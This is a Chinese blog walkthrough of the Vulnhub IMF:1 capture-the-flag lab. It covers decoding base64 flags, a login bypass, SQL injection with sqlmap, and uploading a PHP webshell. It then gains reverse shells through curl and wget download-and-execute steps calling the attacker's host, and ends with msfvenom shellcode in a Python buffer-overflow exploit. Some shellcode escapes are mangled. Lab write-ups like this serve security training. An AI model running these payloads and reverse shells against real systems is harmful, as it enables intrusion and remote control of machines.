• Vulnhub-靶机-IMF: 1


    本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关

    靶机下载之后使用仅主机模式加载到本地VMware Workstation工作站,需要发现目标靶机的IP地址,可以使用nmap,netdiscover,或者arp之类的工具 arp-scan 例如:sudo arp-scan -I eth1 -l 当然也是可以使用Windows环境下mac地址扫描工具都是可以的,那么本次演示就是arp-scan工具发现

    地址:https://www.vulnhub.com/entry/imf-1,162/

    nmap -p- -n -sC -sV 192.168.5.145 -o imf.nmap

    目录猜解没有猜解出来,看看目标web

     有3个选项卡,分别点击3个选项卡网页上发现什么敏感内容,尝试看每个网页的源代码,发现contact.php的源码页面看到第一个flag

    flag1{YWxsdGhlZmlsZXM=}
    YWxsdGhlZmlsZXM= 根据特征可以猜测是base64进行编码的,这里进行解码看看
    解码后的信息如下:

    allthefiles

    通过搜索页面的等号发现另一个base64编码的信息

    解码后结果

     yYXRvcg==}  发现解码出来的信息还是类似base64编码,感觉问题很大,不像是base64编码,然后想了想,发现如下信息可能是连贯的

    将其拼接起来解码看看 ZmxhZzJ7YVcxbVlXUnRhVzVwYzNSeVlYUnZjZz09fQ==

    得出了flag2 

    flag2{aW1mYWRtaW5pc3RyYXRvcg==}   将aW1mYWRtaW5pc3RyYXRvcg== 解码后得出 imfadministrator

    根据上面得到的imfadministrator 放在web上试试看,发现可以访问,显示一个登陆页面

    根据目标靶机上的URL,显示的联系人,使用burp进行暴力破解,无果,然后更改密码作为数组为空传给服务端试试

    得出falg3的base64编码Y29udGludWVUT2Ntcw==  将其解码得出如下结果:

    continueTOcms

    得到上述结果的时候显示的页面提供了一个cms页面

    访问看看

    访问这个cms的结果如下:

    初次看到这类带问号的页面, 丢了一个单引号过去,发现存在sql注入漏洞

    这种情况就直接使用sqlmap进行注入,不过这里得注意了,因为是登陆之后发现的注入点,那么在注入的时候是需要带入登陆成功的cookie,所以我这直接复制保存对应的http请求包使用sqlmap -r参数进行注入

    GET /imfadministrator/cms.php?pagename=disavowlist HTTP/1.1
    Host: 192.168.5.145
    User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate
    DNT: 1
    Referer: http://192.168.5.145/imfadministrator/cms.php?pagename=home
    Cookie: PHPSESSID=tilm340t4jb64ubgal047l74h4
    Connection: close

    最终我使用了如下测试参数获取了目标信息:

    sqlmap -r flag3imfsqlinj.txt --smart --batch -D admin -T pages -C id,pagedata,pagename --dump-all  

    具体sqlmap使用操作可以看我的公众号或者B站视频都有介绍

    根据注入的结果获得图片的路径

    http://192.168.5.145/imfadministrator/images/whiteboard.jpg

    看到图片上有二维码,拿起手机扫描下二维码,得出 flag4{dXBsb2Fkcjk0Mi5waHA=}

    将上面的base64编码进行解码得出结果为:uploadr942.php

    然后试着访问http://192.168.5.145/imfadministrator/uploadr942.php 发现居然可以访问

    上述是个上传页面,我们尝试上传看看,经过尝试,先上传一个正常的图片使用burp抓包,然后使用如下代码通过burp重放上传成功执行命令的shell

    GIF89a
    <?php $cmd=$_GET['cmd']; print(`$cmd`); ?>

     

    获得 flag5{YWdlbnRzZXJ2aWNlcw==}  将此编码进行解码得到结果是:agentservices

    这里使用反弹shell方式反弹到了本地kali,类似如下操作

    使用kali自身php反弹shell脚本
    cp /usr/share/webshells/php/php-reverse-shell.php shellbmfx.php
    将上述代码监听的本地IP地址改为kali的IP地址192.168.5.130 监听端口是8855
    当前目录执行php脚本开启简易web服务器
    php -S 192.168.5.130:4488
    本地kali监听端口
    nc -lvnp 8855

    curl%20-O%20http://192.168.5.130:4488/shellimf.txt;mv%20shellimf.txt%20shellimf2.php

    下载到目标靶机然后访问即可反弹

    拿到反弹shell权限,方便操作之后开始根据提示进行搜索

    看着这一生像是有代理服务,既然有了目标靶机的权限可以尝试看看,搜索一下

    使用命令如下:find / -name agent &>/dev/null

    发现关键字agent,找到如下信息:

    查看access_codes 发现有3个端口,这意思又是要使用knock进行敲击

    使用knock进行敲击

    多敲击了几次,然后再使用nmap进行7788端口扫描,因为拿到目标的权限查看网络连接获得开放代理的端口就是7788

     

     

    这里为了方便使用metasploit玩玩,使用它的端口转发功能玩下,大致操作命令如下:

    msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.5.130 LPORT=4444 -f elf > bmfximfexp

    php -S 192.168.5.130:4488

    wget http://192.168.5.130:4488/bmfximfexp
    chmod 777 bmfximfexp

    下载到目标靶机之后执行

    ./bmfximfexp

    成功通过metasploit反弹

    使用metasploit将目标靶机7788端口进行了端口转发到本地

    然后可以通过nc的方式或者metasploit的方式将目标靶机的agent文件下载到本地kali下进行分析

    nc -l -p 9999 > agent
    nc 192.168.1.124 9999 < /usr/local/bin/agent

    获取了agent在本地进行分析,这方面我不是太擅长,先放着,需要看分析的可以移步至下列地址观看

    https://g0blin.co.uk/imf-vulnhub-writeup/

    https://habr.com/en/post/318814/

    https://acebombersecurity.wordpress.com/2016/11/06/imf-1-walkthrough-vulnhub/

    通过生成shellcode 代码

    msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.5.130 LPORT=8877 -f python -b "x00x0ax0d"

    kali@kali:~/Downloads/imf$ msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.5.130 LPORT=8877 -f python -b "x00x0ax0d"
    [-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
    [-] No arch selected, selecting arch: x86 from the payload
    Found 11 compatible encoders
    Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
    x86/shikata_ga_nai succeeded with size 95 (iteration=0)
    x86/shikata_ga_nai chosen with final size 95
    Payload size: 95 bytes
    Final size of python file: 479 bytes
    buf =  b""
    buf += b"xb8x55xf0x23x37xdaxd3xd9x74x24xf4x5ax2b"
    buf += b"xc9xb1x12x83xeaxfcx31x42x0ex03x17xfexc1"
    buf += b"xc2xa6x25xf2xcex9bx9axaex7ax19x94xb0xcb"
    buf += b"x7bx6bxb2xbfxdaxc3x8cx72x5cx6ax8ax75x34"
    buf += b"xadxc4x83x46x45x17x8cx64x3bx9ex6dxd8x25"
    buf += b"xf1x3cx4bx19xf2x37x8ax90x75x15x24x45x59"
    buf += b"xe9xdcxf1x8ax22x7ex6bx5cxdfx2cx38xd7xc1"
    buf += b"x60xb5x2ax81"

    对应写好的Python利用代码如下:

     这里地址需要更改为实际情况的地址,因为我这里使用了端口转发的方式将目标靶机的端口转发到本地,所以是写的本地地址

    import socket
    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    client.connect(('localhost', 7788))
    client.recv(512)
    client.send("48093572
    ")
    client.recv(512)
    client.send("3
    ")
    client.recv(512)
    
    # shellcode from msfvenom
    buf =  b""
    buf += b"xb8x55xf0x23x37xdaxd3xd9x74x24xf4x5ax2b"
    buf += b"xc9xb1x12x83xeaxfcx31x42x0ex03x17xfexc1"
    buf += b"xc2xa6x25xf2xcex9bx9axaex7ax19x94xb0xcb"
    buf += b"x7bx6bxb2xbfxdaxc3x8cx72x5cx6ax8ax75x34"
    buf += b"xadxc4x83x46x45x17x8cx64x3bx9ex6dxd8x25"
    buf += b"xf1x3cx4bx19xf2x37x8ax90x75x15x24x45x59"
    buf += b"xe9xdcxf1x8ax22x7ex6bx5cxdfx2cx38xd7xc1"
    buf += b"x60xb5x2ax81"
    
    # padding
    buf += "A" * (168 - len(buf))
    
    # call eax gadget
    buf += "x63x85x04x08
    "
    client.send(buf)

    然后在kali上执行

    执行执行使用nc本地监听端口

    成功拿到flag6

    flag6{R2gwc3RQcm90MGMwbHM=}



    迷茫的人生,需要不断努力,才能看清远方模糊的志向!
  • 相关阅读:
    IntelliJ Idea的黑色主题+代码高亮
    @EqualsAndHashCode
    @NoArgsConstructor, @RequiredArgsConstructor, @AllArgsConstructor
    springcloud各种网址
    利用PowerDesigner连接Mysql数据库并逆向所有表关系图【两种方式】
    Java 异步实现的几种方式
    如何查看Linux操作系统版本
    Java中关于WeakReference和WeakHashMap的理解
    Java弱引用(WeakReference)的理解与使用
    Unchecked Exception 和 Checked Exception 比较
  • 原文地址:https://www.cnblogs.com/autopwn/p/13578418.html
Copyright © 2020-2023  润新知